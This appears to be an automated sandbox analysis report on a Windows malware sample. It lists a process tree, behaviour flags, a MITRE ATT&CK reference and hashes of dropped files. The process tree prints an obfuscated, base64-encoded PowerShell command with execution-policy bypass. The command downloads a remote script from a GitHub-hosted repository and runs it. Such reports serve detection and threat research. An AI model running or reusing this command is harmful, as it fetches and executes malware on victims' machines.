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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1016
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:2560
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:3252
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4536
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5f3837ef6a59cb46dd90ea56fc0cba3a6
SHA19ac8b994477800cc8cb9546d88ee2c068ae84efd
SHA256030bb5496045536902538ac0fd47792bd628c2cec5156fd21211f38220f669a5
SHA5129d80d298a2779f425933d64219220d5b95489dcad26fea517641eb71c93d7e6209647b07203641560c44c35587ce9720c2ba2f6f88ee5a41e08866076156ba0a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3KB
MD54bf1310fc58c8a84df6b165c9c40b09c
SHA10198c5396859d801e0ab132dac09417477d8083d
SHA256eff4daeeeea264229e1280321704d3a64ccedaf6acc92bfd9e584791a22f2a9d
SHA51287442d1ff4a1b4c289b267b1f3c6bdcb28d5a9189057be4b03dbe829fc38ad6d301ab8510141c85621b51aa3823b587cdc27f0df2028c87d2bc3050ad259a24c
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Filesize
2.5MB
MD55db5ffa607b5b5ca17bfd6fb78403660
SHA11e793958cb1dd1dc99da4a50beaa2945561b7a16
SHA2561fa24f444e6b18ab2072201a5d9de4df325830990f073194addb5327137c2e89
SHA5123d2eab2b02c1d7302b563e3cc232791e242c8d2686a0a4cb58115cdd4ca19f48e390791404f62fef2c0fdbe3e5185b260de6a8fd5ccef2e091d473e0186ffe43
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Filesize
1KB
MD528d9755addec05c0b24cca50dfe3a92b
SHA17d3156f11c7a7fb60d29809caf93101de2681aa3
SHA256abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9
SHA512891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42
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Filesize
60KB
MD596e498a3833f52ae46bcfdc391f73cf7
SHA1ecaf72b46cf1cb074bde2914963bb1e61450ca95
SHA25621a0a297e9a2295f7e32aea08ea74c01199cc57d30b8a177fa99c9cc96a6268b
SHA5129f273a77d434807138c884cc95deb1cadea1ff6db492839d238759a265f3b0ded318b6af59d0743f8dd1555e968afb1eca9ba92a214ecd247480d2a072c08540
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Filesize
743KB
MD52ee3d03bb1f8bd257235fc70e92b17e1
SHA1c36482b8f8229578dec1cc687aaf53084cb6d05e
SHA256b7a9b4269995093c63efe64cb65e4562680af2fdf7c4dfdc235f2eb60c469ff0
SHA51239f8a42a512e4bfbf84ac3c472bf9444a139da23b7007f57aa68dc9ba9db5466b7f155df18c0a49e3073527763ef459180ab1912e53453d312c17718ab67abea
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Filesize
24KB
MD5d0e162c0bd0629323ebb1ed88df890d6
SHA1cf3fd2652cdb6ff86d1df215977454390ed4d7bc
SHA2563e6520cd56070637daa5c3d596e57e6b5e3bd1a25a08804ccea1ce4f50358744
SHA512a9c82f1116fce7052d1c45984e87b8f3b9f9afeb16be558fd1ecbd54327350344f37f32bc5d4baabd3e1cf3ac0de75c8ba569c1e34aaf1094cd04641d137c117
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Filesize
40KB
MD5dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
652B
MD5f23c3c340511bb28746cc70fd1e7630f
SHA1f60a86fed97056b81fac22de3302aac8c3a347e6
SHA256e56630d51f476bde0324d5519f3af51e98c0a83cc08e08940f268b4c35fca871
SHA512be763768006fec4412ecfae583ebde8c949e9c133e1bff68cfc80c1be63a1834dde616749b48758a9c132bdd1ee32fd8fb018682d336ab11816cadb3fad61ffe
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Filesize
424B
MD59f8ab7eb0ab21443a2fe06dab341510e
SHA12b88b3116a79e48bab7114e18c9b9674e8a52165
SHA256e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9
SHA51253f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b
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Filesize
369B
MD5fc7be09e8ca7e58f08d19d596ca9c73d
SHA172aff5d3e75200628f8a30f2fba98a14919246ef
SHA256fe878b5bbe333d28d94dc7c0a858428dbd13b8ed2b32b0bc4bec42b86e9607a5
SHA512554d50809fd475cbb2d0bc3c790f2a5c11e9c06f4931120458370b4294c8607900c5942b2d8c432f3e16e96245be0b7d6348e090369357e0b9cfcc0d0ce28111